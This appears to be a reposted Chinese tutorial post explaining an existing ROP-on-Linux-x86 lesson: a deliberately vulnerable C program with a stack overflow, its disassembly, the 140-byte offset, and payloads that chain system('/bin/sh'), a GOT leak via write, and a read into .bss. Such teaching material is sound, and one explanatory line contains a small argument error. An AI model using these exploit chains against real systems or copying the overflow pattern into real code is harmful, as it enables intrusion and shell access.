一步一步学ROP之linux_x86篇

Posted jltxgcy

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一步一步学ROP之linux_x86篇相关的知识,希望对你有一定的参考价值。

   0x00

    本文仅解释说明蒸米大神一步一步学ROP之linux_x86篇,读者应先阅读这篇文章,遇到问题再来看我这篇文章。

    阅读完这两篇文章后,我们会理解ROP(返回导向编程),DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护),Memory Leak


   0x01

    第一个问题:为什么要构造成”A”*140+ret字符串,这个140是怎么来的呢?

    要回答这个问题,我们需要把level1.c反汇编,level1.c代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}
 
int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}
    使用objdump -S level1反汇编,结果如下:

08048404 <vulnerable_function>:
 8048404:    55                       push   %ebp
 8048405:    89 e5                    mov    %esp,%ebp
 8048407:    81 ec 98 00 00 00        sub    $0x98,%esp //esp-0x98
 804840d:    c7 44 24 08 00 01 00     movl   $0x100,0x8(%esp)//存放第三个参数256
 8048414:    00 
 8048415:    8d 85 78 ff ff ff        lea    -0x88(%ebp),%eax//存放第二个参数,buf的地址
 804841b:    89 44 24 04              mov    %eax,0x4(%esp)
 804841f:    c7 04 24 00 00 00 00     movl   $0x0,(%esp)//存放第一个参数,STDOUT_FILENO
 8048426:    e8 e5 fe ff ff           call   8048310 <[email protected]>
 804842b:    c9                       leave  
 804842c:    c3                       ret   

0804842d <main>:
 804842d:    55                       push   %ebp
 804842e:    89 e5                    mov    %esp,%ebp
 8048430:    83 e4 f0                 and    $0xfffffff0,%esp
 8048433:    83 ec 10                 sub    $0x10,%esp
 8048436:    e8 c9 ff ff ff           call   8048404 <vulnerable_function>
 804843b:    c7 44 24 08 0d 00 00     movl   $0xd,0x8(%esp)
 8048442:    00 
 8048443:    c7 44 24 04 30 85 04     movl   $0x8048530,0x4(%esp)
 804844a:    08 
 804844b:    c7 04 24 01 00 00 00     movl   $0x1,(%esp)
 8048452:    e8 e9 fe ff ff           call   8048340 <[email protected]>
 8048457:    c9                       leave  
 8048458:    c3                       ret    
 8048459:    90                       nop
 804845a:    90                       nop
 804845b:    90                       nop
 804845c:    90                       nop
 804845d:    90                       nop
 804845e:    90                       nop
 804845f:    90                       nop
    当main函数调用call 8048404 <vulnerable_function>,参考上面的代码注释,就形成了下图结构:

技术分享

   0x02

    payload = ‘A‘*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)这段代码是为了执行system("/bin/sh"),然后返回到ret继续执行。也就是binshaddr是system的参数,那么为什么这些写可以呢?

    我们先来看8048426: e8 e5 fe ff ff call 8048310 <[email protected]>是怎么样取参数的?

技术分享

    调用read后,依次向堆栈中存储了EIP和EBP,此时如果想取第一个参数,需要用ESP-8。

    同理我们就可以理解 payload = ‘A‘*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)这句代码的含义,如下图,观察右边的小图

技术分享

    这样我们就能理解为什么/bin/sh是第一个参数,为什么system("/bin/sh")执行后返回到ret了。


   0x03

    payload1 = ‘a‘*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)这句话执行的函数是?

    write(STDOUT_FILENO, got_write, 3);


   0x04

    在一步一步学ROP之linux_x64篇一文中,讲到了Memory Leak,这段代码的含义是什么呢?

payload2 = ‘a‘*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
    从标准输入读取/bin/sh到.bss段,对应的代码read(STDIN_FILENO, bss_addr, 8)。

    然后返回到pppt,执行pop pop pop ret,也就是绕过p32(0) + p32(bss_addr) + p32(8),执行system_addr,之后的流程就和原来一致了。

以上是关于一步一步学ROP之linux_x86篇的主要内容,如果未能解决你的问题,请参考以下文章

一步一步学EF系列6IOC 之AutoFac

一步一步学Python-基础篇

ROP之linux_x64知识杂记

一步一步学EF系列4升级篇 实体与数据库的映射live writer真坑,第4次补发

一步一步学Vue

一步一步学RenderMonkey